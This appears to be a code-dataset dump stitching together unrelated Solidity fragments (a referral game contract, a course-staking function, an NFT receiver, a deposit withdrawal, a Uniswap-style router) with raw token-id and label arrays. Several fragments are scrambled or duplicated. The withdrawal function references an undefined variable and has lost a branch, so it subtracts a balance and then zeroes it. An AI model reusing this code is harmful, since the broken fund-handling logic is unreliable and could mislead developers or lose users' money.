require(my_num>=0 && my_num<NodeIndex);
index=my_num;
uint32 Number;
if(Node[index].chNode>0)
{
Number=1;
index=Node[index].chNode;
while (Node[index].brNode>0)
{
Number++;
index=Node[index].brNode;
}
}
return Number;
}
//Return the total number of players
function GetAllPeopleNumber()public view returns(uint32)
{
return NodeIndex;
}
//Deployers can choose to destroy contracts, and eth in all pools of funds is evenly allocated to all players after the contract is destroyed.
function DeleteContract() public
{
require(msg.sender==Node[0].addr,"This function can only be called by the deployer");
uint256 AverageMoney=ContractAddress.balance/NodeIndex;
for (uint32 i=0;i<NodeIndex;i++)
{
Node[i].addr.transfer(AverageMoney);
}
selfdestruct(Node[0].addr);
}
//Return to the last person joining time
function GetLastAddTime()public view returns(uint64)
{
return NodeAddTime;
}
function GetPrizeTime()public view returns(uint64,uint64)
{
return(PrizeTime1,PrizeTime2);
}
//This function returns the winning information
function GetPrizeText(uint8 prize_index)public view returns(
address addr0,
uint32 ID0,
uint256 money0
)
{
return (
PrizeRecord[prize_index].addr,
Encryption(PrizeRecord[prize_index].NodeNumber),
PrizeRecord[prize_index].EthGained
);
}
///////////////////////////////////////////////////////////
//Coded as recommended address
function Encryption(uint32 num) private pure returns(uint32 com_num)
{
require(num<=8388607,"Maximum ID should not exceed 8388607");
uint32 flags;
uint32 p=num;
uint32 ret;
if(num<4)
{
flags=2;
}
else
{
if(num<=15)flags=7;
else if(num<=255)flags=6;
else if(num<=4095)flags=5;
else if(num<=65535)flags=4;
else if(num<=1048575)flags=3;
else flags=2;
}
ret=flags<<23;
if(flags==2)
{
p=num;
}
else
{
p=num<<((flags-2)*4-1);
}
ret=ret | p;
return (ret);
}
//Decode to ID
function unEncryption(uint32 num)private pure returns(uint32 number)
{
uint32 p;
uint32 flags;
flags=num>>23;
p=num<<9;
if(flags==2)
{
if(num==16777216)return(0);
else if(num==16777217)return(1);
else if(num==16777218)return(2);
else if(num==16777219)return(3);
else
{
require(num>= 25690112 && num<66584576 ,"Illegal parameter, parameter position must be greater than 10 bits");
p=p>>9;
}
}
else
{
p=p>>(9+(flags-2)*4-1);
}
return (p);
}
}
|
This function returns its recommended address
|
{
for(uint32 i=0 ;i<=NodeIndex;i++)
function SendPrize(uint32 index,uint256 money,uint32 prize_index) private
}
function GetPoolOfFunds()public view returns(uint256)
}
function GetMyIndex(address my_addr) public view returns(uint32)
{ if(my_addr==Node[i].addr)
{
return Encryption(i);
}
}
return 0;
function SendPrize(uint32 index,uint256 money,uint32 prize_index) private
}
function GetPoolOfFunds()public view returns(uint256)
}
function GetMyIndex(address my_addr) public view returns(uint32)
{ if(my_addr==Node[i].addr)
{
return Encryption(i);
}
}
return 0;
}
| 15,804,757 |
[
1,
2503,
445,
1135,
2097,
14553,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
288,
203,
3639,
364,
12,
11890,
1578,
277,
33,
20,
274,
77,
32,
33,
907,
1016,
31,
77,
27245,
203,
565,
445,
2479,
2050,
554,
12,
11890,
1578,
770,
16,
11890,
5034,
15601,
16,
11890,
1578,
846,
554,
67,
1615,
13,
3238,
7010,
565,
289,
203,
377,
203,
565,
445,
968,
2864,
951,
42,
19156,
1435,
482,
1476,
1135,
12,
11890,
5034,
13,
203,
565,
289,
203,
565,
445,
968,
12062,
1016,
12,
2867,
3399,
67,
4793,
13,
1071,
1476,
1135,
12,
11890,
1578,
13,
203,
3639,
288,
565,
309,
12,
4811,
67,
4793,
631,
907,
63,
77,
8009,
4793,
13,
203,
5411,
288,
203,
7734,
327,
14585,
12,
77,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
374,
31,
203,
565,
445,
2479,
2050,
554,
12,
11890,
1578,
770,
16,
11890,
5034,
15601,
16,
11890,
1578,
846,
554,
67,
1615,
13,
3238,
7010,
565,
289,
203,
377,
203,
565,
445,
968,
2864,
951,
42,
19156,
1435,
482,
1476,
1135,
12,
11890,
5034,
13,
203,
565,
289,
203,
565,
445,
968,
12062,
1016,
12,
2867,
3399,
67,
4793,
13,
1071,
1476,
1135,
12,
11890,
1578,
13,
203,
3639,
288,
565,
309,
12,
4811,
67,
4793,
631,
907,
63,
77,
8009,
4793,
13,
203,
5411,
288,
203,
7734,
327,
14585,
12,
77,
1769,
203,
5411,
289,
203,
3639,
289,
203,
3639,
327,
374,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0xdE5233ADAaB7FD37eFb5E3dEe68222Eb38525d17/sources/contracts/CourseContract.sol
|
Student FunctionsStudent enroll by staking the studentStake amount, they can withdraw if they want but stake is locked once the course starts.
|
function enroll()external payable{
require(!hasRole(TEACHER, msg.sender),"Teachers cannot enroll in their own course!");
require(courseStatus == false, "Course has already started :(");
require(!hasRole(STUDENT, msg.sender),"You are enrolled already!");
require(msg.value == studentStake, "Please Stake the Correct Amount");
require(paymentStatus == true, "Enrollment Closed");
studentStake = msg.value;
grantRole(STUDENT, msg.sender);
studentDeposit[msg.sender] = studentStake;
factory.updateStudentStake(msg.sender, studentStake);
emit StudentEnrolled(msg.sender);
}
| 3,769,709 |
[
1,
19943,
319,
15486,
19943,
319,
570,
2693,
635,
384,
6159,
326,
18110,
510,
911,
3844,
16,
2898,
848,
598,
9446,
309,
2898,
2545,
1496,
384,
911,
353,
8586,
3647,
326,
4362,
2542,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
570,
2693,
1435,
9375,
8843,
429,
95,
203,
3639,
2583,
12,
5,
5332,
2996,
12,
1448,
18133,
654,
16,
1234,
18,
15330,
3631,
6,
56,
13798,
414,
2780,
570,
2693,
316,
3675,
4953,
4362,
4442,
1769,
203,
3639,
2583,
12,
5566,
1482,
422,
629,
16,
315,
39,
3117,
711,
1818,
5746,
294,
2932,
1769,
7010,
3639,
2583,
12,
5,
5332,
2996,
12,
882,
12587,
2222,
16,
1234,
18,
15330,
3631,
6,
6225,
854,
14905,
1259,
1818,
4442,
1769,
203,
3639,
2583,
12,
3576,
18,
1132,
422,
18110,
510,
911,
16,
315,
8496,
934,
911,
326,
30626,
16811,
8863,
203,
3639,
2583,
12,
9261,
1482,
422,
638,
16,
315,
664,
17118,
25582,
8863,
203,
3639,
18110,
510,
911,
273,
1234,
18,
1132,
31,
203,
3639,
7936,
2996,
12,
882,
12587,
2222,
16,
1234,
18,
15330,
1769,
203,
3639,
18110,
758,
1724,
63,
3576,
18,
15330,
65,
273,
18110,
510,
911,
31,
203,
3639,
3272,
18,
2725,
19943,
319,
510,
911,
12,
3576,
18,
15330,
16,
18110,
510,
911,
1769,
203,
3639,
3626,
934,
1100,
319,
664,
25054,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
pragma solidity ^0.8.0;
contract TokenReceiver is IERC721Receiver//, ERC721("newMint", "NMT")
{
address operador;
address de;
uint256 idToken;
bytes datos;
address private token;
uint balanceNFT = 0;
constructor() {
}
function transfer(address to, uint256 tokenId) public {
// IERC721(token).safeTransferFrom(address(this), to, tokenId);
ERC721 myContract = ERC721(0x2e7a22E789D94B3B7A3e7c64f02e2036CA9cF097);//Need to automate this, geting address token automatically(contract that minted it)
myContract.safeTransferFrom(address(this), to, tokenId);
}
function viewValance() public view returns(uint){
return balanceNFT;
}
event NFTRecieved(
address from,
uint256 tokenId,
address operator,
bytes data
);
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public override returns (bytes4) {
balanceNFT += 1;
operador = operator;
de = from;
idToken = tokenId;
emit NFTRecieved(from, tokenId,operator, data);
return this.onERC721Received.selector;
}
function fundContract(uint amount) public payable returns(uint){
return amount;
}
function viewOperator() public view returns(address){
return operador;
}
function viewFrom() public view returns(address){
return de;
}
function viewTokenID() public view returns(uint256){
return idToken;
}
}
|
IERC721(token).safeTransferFrom(address(this), to, tokenId);
|
function transfer(address to, uint256 tokenId) public {
myContract.safeTransferFrom(address(this), to, tokenId);
}
| 12,614,058 |
[
1,
45,
654,
39,
27,
5340,
12,
2316,
2934,
4626,
5912,
1265,
12,
2867,
12,
2211,
3631,
358,
16,
1147,
548,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
12,
2867,
358,
16,
2254,
5034,
1147,
548,
13,
1071,
288,
203,
4202,
3399,
8924,
18,
4626,
5912,
1265,
12,
2867,
12,
2211,
3631,
358,
16,
1147,
548,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x9F8D1028f40b2ce5Db5a86B40f34fbF08EFde777/sources/contracts/DepositPRICE.sol
|
@dev Withdraw native token
|
function withdrawNativeToken(address recipient, uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(depositedQuantity[recipient] > 0, "Not enough quantity for this recipient");
require(address(this).balance >= amount, "Not enough balance");
require(sent, "Failed to send Native Token");
( , int nativeTokenPrice, , , ) = priceFeed.latestRoundData();
uint depositedTokenPriceInUsd = amount * uint(nativeTokenPrice) / 1 ether;
uint quantity = depositedTokenPriceInUsd * 1e3 * QUANTITY_DECIMAL / PRIVATE_SALE_PRICE / 1e8;
if(depositedQuantity[recipient] >= quantity) {
depositedQuantity[recipient] -= quantity;
depositedQuantity[recipient] = 0;
}
emit WithdrawedToken(address(0), recipient, amount);
}
| 4,066,614 |
[
1,
1190,
9446,
6448,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
598,
9446,
9220,
1345,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
3903,
1338,
2996,
12,
5280,
67,
15468,
67,
16256,
13,
288,
203,
3639,
2583,
12,
323,
1724,
329,
12035,
63,
20367,
65,
405,
374,
16,
315,
1248,
7304,
10457,
364,
333,
8027,
8863,
203,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
3844,
16,
315,
1248,
7304,
11013,
8863,
203,
3639,
2583,
12,
7569,
16,
315,
2925,
358,
1366,
16717,
3155,
8863,
203,
540,
203,
3639,
261,
269,
509,
6448,
1345,
5147,
16,
269,
269,
262,
273,
6205,
8141,
18,
13550,
11066,
751,
5621,
203,
3639,
2254,
443,
1724,
329,
1345,
5147,
382,
3477,
72,
273,
3844,
380,
2254,
12,
13635,
1345,
5147,
13,
342,
404,
225,
2437,
31,
203,
3639,
2254,
10457,
273,
443,
1724,
329,
1345,
5147,
382,
3477,
72,
380,
404,
73,
23,
380,
10110,
6856,
4107,
67,
23816,
342,
23685,
67,
5233,
900,
67,
7698,
1441,
342,
404,
73,
28,
31,
203,
540,
203,
3639,
309,
12,
323,
1724,
329,
12035,
63,
20367,
65,
1545,
10457,
13,
288,
203,
5411,
443,
1724,
329,
12035,
63,
20367,
65,
3947,
10457,
31,
203,
5411,
443,
1724,
329,
12035,
63,
20367,
65,
273,
374,
31,
203,
3639,
289,
203,
203,
3639,
3626,
3423,
9446,
329,
1345,
12,
2867,
12,
20,
3631,
8027,
16,
3844,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity =0.6.6;
import './interfaces/IFomodexFactory.sol';
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/IFomodexRouter02.sol';
import './libraries/FomodexLibrary.sol';
import './libraries/SafeMath.sol';
import './interfaces/IERC20.sol';
import './interfaces/IWETH.sol';
contract FomodexRouter is IFomodexRouter02 {
using SafeMath for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'FomodexRouter: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IFomodexFactory(factory).getPair(tokenA, tokenB) == address(0)) {
IFomodexFactory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = FomodexLibrary.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = FomodexLibrary.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'FomodexRouter: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = FomodexLibrary.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'FomodexRouter: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = FomodexLibrary.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IFomodexPair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = FomodexLibrary.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IFomodexPair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = FomodexLibrary.pairFor(factory, tokenA, tokenB);
IFomodexPair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IFomodexPair(pair).burn(to);
(address token0,) = FomodexLibrary.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'FomodexRouter: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'FomodexRouter: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = FomodexLibrary.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IFomodexPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = FomodexLibrary.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IFomodexPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = FomodexLibrary.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IFomodexPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = FomodexLibrary.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? FomodexLibrary.pairFor(factory, output, path[i + 2]) : _to;
IFomodexPair(FomodexLibrary.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = FomodexLibrary.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = FomodexLibrary.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'FomodexRouter: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'FomodexRouter: INVALID_PATH');
amounts = FomodexLibrary.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'FomodexRouter: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'FomodexRouter: INVALID_PATH');
amounts = FomodexLibrary.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'FomodexRouter: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, FomodexLibrary.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'FomodexRouter: INVALID_PATH');
